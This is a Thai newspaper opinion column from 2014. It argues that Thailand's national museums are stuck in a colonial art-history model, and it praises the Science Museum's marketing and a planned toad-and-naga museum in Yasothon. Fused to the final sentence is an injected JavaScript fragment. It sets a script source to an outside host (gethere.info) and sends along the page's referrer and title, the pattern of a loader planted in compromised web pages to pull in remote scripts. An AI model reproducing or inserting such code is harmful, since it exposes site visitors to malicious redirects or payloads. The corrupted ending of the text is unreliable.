มติชนรายวัน ฉบับประจำวันจันทร์ที่ 10 กุมภาพันธ์ 2557

 

พิพิธภัณฑ์ที่สร้างสรรค์ไม่ขึ้น

          ไทยไม่มีมิวเซียมประวัติศาสตร์สังคมและวัฒนธรรม เพราะที่มีทั่วไทยเป็นประวัติศาสตร์ศิลปะแบบอาณานิคมเมื่อ 100 ปีที่แล้ว ที่คนทั่วไปและครูนักเรียนเข้าไม่ถึง หรือเข้าถึงลำบากยากยุ่งสุดจะพรรณนา

          นับแต่กระทรวงวัฒนธรรม (วธ.) ถูกสถาปนาขึ้นใหม่ไม่กี่ปีมานี้ เมื่อเปลี่ยน รมต. คนใหม่, ปลัดคนใหม่ มักพูดเหมือนกันหมดว่าจะพัฒนามิวเซียมให้ทันสมัยเป็นแหล่งเรียนรู้ทางวัฒนธรรมของนักเรียนและประชาชน

พูดจบแล้วก็แล้วกันไป พอมีคนใหม่เข้ามาก็พูดเหมือนเดิม พิพิธภัณฑ์ก็เหมือนเดิม คือไม่มีคนเข้า หรือมีน้อยเหมือนไม่มี ดังเมื่อเร็วๆนี้มีข่าวว่า

          ปลัดกระทรวงวัฒนธรรม (วธ.) ได้มอบหมายให้กรมศิลปากรร่วมกับสถานศึกษาทั่วประเทศ นำเด็กนักเรียนไปทัศนศึกษา เพื่อเรียนรู้เกี่ยวกับประวัติศาสตร์ โบราณคดีและศิลปวัตถุ ที่พิพิธภัณฑสถานแห่งชาติ 44 แห่ง และอุทยานประวัติศาสตร์ 10 แห่งทั่วประเทศ ตามนโยบายของรัฐบาล

          โดยพัฒนาพิพิธภัณฑ์ และแหล่งเรียนรู้ทางวัฒนธรรม เพื่อให้เด็กและเยาวชนได้เรียนรู้ (คม ชัด ลึก ฉบับวันอังคารที่ 21 มกราคม 2557 หน้า 11)

          รมต. วัฒนธรรม เคยบอกบ่อยๆจะพัฒนาวัฒนธรรมให้ไปสู่เศรษฐกิจเชิงสร้างสรรค์ ซึ่งยากมากๆถ้ายังอยู่ในกรอบคิดตามจารีต-อนุรักษนิยมแบบอาณานิคม แล้วไม่ยอมรับความจริง จึงแก้ไขไม่ได้ ที่ทำได้ก็แค่พูดตามประเพณี

 

มิวเซียมในเศรษฐกิจเชิงสร้างสรรค์

          “คนไทยวิจัยมา แล้วขายไม่เป็น” ส่งผลให้ “พิพิธภัณฑ์วิทยาศาสตร์ เป็นพิพิธภัณฑ์แห่งแรกที่มีฝ่ายการตลาด”

          สาคร ชนะไพฑูรย์ รอง ผอ. รักษาการแทน ผอ. องค์การพิพิธภัณฑ์วิทยาศาสตร์แห่งชาติ (อพวช.) กระทรวงวิทยาศาสตร์และเทคโนโลยี บอกไว้ใน มติชน อาทิตย์ สุขสรรค์ (ฉบับวันอาทิตย์ที่ 2 กุมภาพันธ์ 2557 หน้า 13)

          จบตรีจากคณะบริหารธุรกิจ การตลาด ม.รามคำแหง แล้วจบโทบริหารธุรกิจการตลาด จากนิด้า คุณสาครเอาความรู้นั้นมาวางแผนทำการตลาดให้พิพิธภัณฑ์วิทยาศาสตร์ แล้วบอกว่า

          “ตอนนี้ก็พิสูจน์แล้วว่าเป็นพิพิธภัณฑ์เดียวที่มีคนเข้าชมมากที่สุดของไทย มากกว่าพิพิธภัณฑสถานแห่งชาติ

          “เราเลยไปช่วยพิพิธภัณฑ์เล็กๆสอนการจัดการ นำระบบบริหารไปให้ แล้วส่งความรู้เหล่านี้ไปที่อื่นๆ ทั่วประเทศ”

          พิพิธภัณฑ์ไม่ใช่“โชว์”ของเก่า แต่ต้อง“เล่าเรื่องราว” คุณสาครจึงมีโครงการสร้างพิพิธภัณฑ์พญาคันคาก (คางคก) ที่ จ. ยโสธร เป็นโครงการจัดทำศูนย์เรียนรู้เพื่อพัฒนาแหล่งท่องเที่ยว และโครงสร้างพื้นฐาน สนับสนุนการท่องเที่ยวและการค้าการลงทุน

          โดยมีอาคารพญาคักคาก ออกแบบเป็นรูปคางคก และอาคารพญานาค ออกแบบเป็นรูปพญานาคเลื้อย บริเวณริมฝั่งลำน้ำทวน ที่ต่อเชื่อมกับสวนสาธารณะพญาแถน

          “คางคกเป็นสัตว์ที่คนส่วนใหญ่เกลียด เป็นอุบายของคนโบราณที่จะแต่งเรื่องนี้ให้คนหันมาอนุรักษ์คางคก ไม่ฆ่าคางคก เพราะคางคกเป็นสัตว์กินแมลง —– คางคกในประเทศไทยมี 32 พันธุ์ จะเอามาโชว์ให้หมดเลย

          สุดท้ายคือ ของดีเมืองยโสธร ซึ่งมี ข้าวหอมมะลิ แตงโมหวาน แล้วก็มีปลาส้ม คือนอกจากให้ความรู้ส่งเสริมด้านการท่องเที่ยว ยังเกี่ยวข้องกับเรื่องธุรกิจการขายสินค้า”

          “การยิงบั้งไฟไม่ได้มีแค่ไทย เขมรก็มี ลาวก็มี เราต้องช่วงชิง เพราะต่อไปจะไร้พรมแดน ประเทศไทยจะต้องช่วงชิงมาก่อน เหมือนกับมวยไทย ที่พม่าก็มี มาเลย์ก็มี เมื่อก่อนเรียก ‘คิก บ็อกซิ่ง’ แต่ตอนนี้เรียก ‘มวยไทย’

          คำว่า ‘บั้งไฟ’ จะต้องเป็นภาษาสากล ไม่ใช่เรียกว่า ร็อกเก็ต แต่เรียกว่า ‘บั้งไฟ’ ”

          ไทยคุ้นเคยและถูกครอบงำด้วยพิพิธภัณฑ์ประวัติศาสตร์ศิลปะที่เต็มไปด้วยเศียรพระ แขนพระ ขาพระ เหมือนโบสถ์ วิหาร การเปรียญ จึงอาจรู้สึกขัดๆข้องๆต่อมิวเซียมคางคกและพญานาคซึ่งจะมีขึ้นที่ยโสธร

          แต่แท้จริงนี่คือมิวเซียมที่ไทยควรมีนานแล้ว ขนานไปกับพิพิธภัณฑ์ประวัติศาสตร์ศิลปะ แล้วควรมีมิวเซียมหลากหลายแบบอื่นๆอีกอย่างไร้ขีดจำกัด กระทั่งเซ็กซ์มิวเซียม โดยไม่ทิ้งวิชาการ

          นี่อาจเป็นแนวทางมิวเซียมในอนาคตของไทยที่สอดคล้องกับเศรษฐกิจเชิงสร้างสรรค์ที่ วธ. ต้องทบทวนตัวเองs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;